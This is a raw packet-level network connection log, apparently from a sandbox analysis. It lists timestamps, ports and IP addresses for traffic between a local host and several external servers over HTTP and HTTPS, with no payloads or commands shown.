Oct 18, 2024 15:04:38.094558001 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094572067 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094584942 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094585896 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094587088 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094587088 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094607115 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094620943 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094656944 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094677925 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094691038 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094739914 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094747066 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094753981 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094753981 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094760895 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094768047 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094774961 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094783068 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.094840050 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094840050 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.094857931 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.095439911 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.095454931 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.095468998 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.095499992 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.095582962 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.095623016 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.095638037 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.095650911 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.095674992 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.095700026 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.163523912 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.163558006 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.163594961 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.163621902 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248238087 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248466969 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248481989 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248524904 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248541117 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248550892 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248555899 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248610020 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248707056 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248728991 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248761892 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248771906 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248780012 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248795033 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248801947 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248811007 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248838902 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248842001 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248857975 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248867989 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248872042 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248900890 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248929977 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248936892 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248949051 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.248979092 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.248997927 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249022007 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249037027 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249078989 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249201059 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249216080 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249229908 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249244928 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249244928 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249277115 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249290943 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249291897 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249315977 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249316931 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249334097 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249347925 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249368906 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249397039 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249465942 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249480963 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249512911 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249532938 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249533892 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249548912 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249563932 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249571085 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249579906 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249587059 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249614000 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249629974 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249711037 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249748945 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249762058 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249767065 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249782085 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249798059 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249802113 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249814034 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249838114 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249839067 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249860048 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.249969006 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.249984026 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250001907 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250026941 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250053883 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250305891 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250320911 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250334978 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250349998 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250358105 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250366926 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250380993 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250394106 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250396013 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250446081 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250494957 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250509024 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250524044 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250540018 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250547886 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250555992 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250560999 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250577927 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250595093 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250603914 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250607967 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.250632048 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.250659943 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255137920 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255153894 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255172968 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255193949 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255208015 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255209923 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255232096 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255239964 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255245924 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255264044 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255269051 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255294085 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255319118 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255348921 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255363941 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255414963 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255415916 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255445004 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255460024 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255474091 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255495071 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255503893 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255508900 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255525112 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255526066 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255526066 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255537033 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255553007 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255558014 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255568981 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255580902 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255585909 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255599022 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255614996 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255639076 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255835056 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255856037 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255872011 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.255893946 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255909920 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255920887 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.255970001 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256000042 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256011009 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256016016 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256037951 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256052017 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256102085 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256128073 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256141901 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256153107 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256156921 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256170034 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256180048 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256184101 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256196022 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256203890 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256218910 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256236076 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256267071 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256282091 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256297112 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256310940 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256321907 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256345987 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256371021 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256583929 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256603003 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256618023 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256642103 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256674051 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256680012 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256695032 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256707907 CEST	80	49956	185.215.113.16	192.168.2.4
Oct 18, 2024 15:04:38.256721020 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.256753922 CEST	49956	80	192.168.2.4	185.215.113.16
Oct 18, 2024 15:04:38.261904001 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:38.261982918 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:38.267421007 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:38.267429113 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:38.267903090 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:38.273638964 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:38.273752928 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:38.273757935 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:38.945771933 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:38.945909023 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:38.945971966 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:38.946146011 CEST	49962	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:38.946161985 CEST	443	49962	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:39.502887011 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:39.502928019 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:39.503000975 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:39.503278971 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:39.503294945 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.133168936 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.133310080 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.134421110 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.134433985 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.134785891 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.176832914 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.177548885 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.177586079 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.177834988 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.177870035 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178142071 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178195953 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178339958 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178355932 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178381920 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178400040 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178472996 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178492069 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178498983 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178514004 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178617954 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178646088 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178666115 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178677082 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.178826094 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178864956 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.178888083 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.188092947 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.189184904 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.189214945 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.189238071 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.189290047 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:40.192990065 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:40.454894066 CEST	49948	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:40.454909086 CEST	49977	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:40.702461004 CEST	80	49977	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:40.702532053 CEST	49977	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:40.702776909 CEST	80	49948	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:40.703005075 CEST	49948	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:40.802550077 CEST	49977	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:40.807615042 CEST	80	49977	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:41.634968996 CEST	80	49977	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:41.635061026 CEST	49977	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:42.136123896 CEST	49953	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:42.196264982 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:42.205017090 CEST	80	49988	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:42.205121994 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:42.205260992 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:42.210199118 CEST	80	49988	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:43.126228094 CEST	80	49988	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:43.126296043 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:43.147583961 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:43.155215979 CEST	80	49988	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:43.374835014 CEST	49977	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:43.378747940 CEST	49994	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:43.380610943 CEST	80	49977	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:43.380691051 CEST	49977	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:43.384594917 CEST	80	49994	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:43.389858961 CEST	49994	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:43.455595016 CEST	80	49988	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:43.455940962 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:43.573604107 CEST	49994	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:43.578574896 CEST	80	49994	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:44.305114031 CEST	80	49994	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:44.305169106 CEST	49994	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:44.739548922 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:44.739607096 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:44.739676952 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:44.740900993 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:44.740920067 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:44.957691908 CEST	49988	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:45.592757940 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:45.592873096 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:45.594120979 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:45.594130039 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:45.594515085 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:45.635689020 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:45.639750004 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:45.687433004 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:45.809742928 CEST	49994	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:45.810097933 CEST	50008	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:45.814898968 CEST	80	50008	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:45.815016031 CEST	50008	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:45.815105915 CEST	80	49994	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:45.815159082 CEST	49994	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:45.815325022 CEST	50008	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:45.820307016 CEST	80	50008	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:46.234246016 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.234287024 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.234311104 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.234323025 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.234349012 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.234378099 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.234405994 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.234437943 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.234471083 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.249535084 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.249552965 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.249598026 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.249607086 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.249633074 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.249648094 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.258413076 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.258460999 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.258466005 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.258502960 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.271356106 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.271380901 CEST	443	50001	104.102.49.254	192.168.2.4
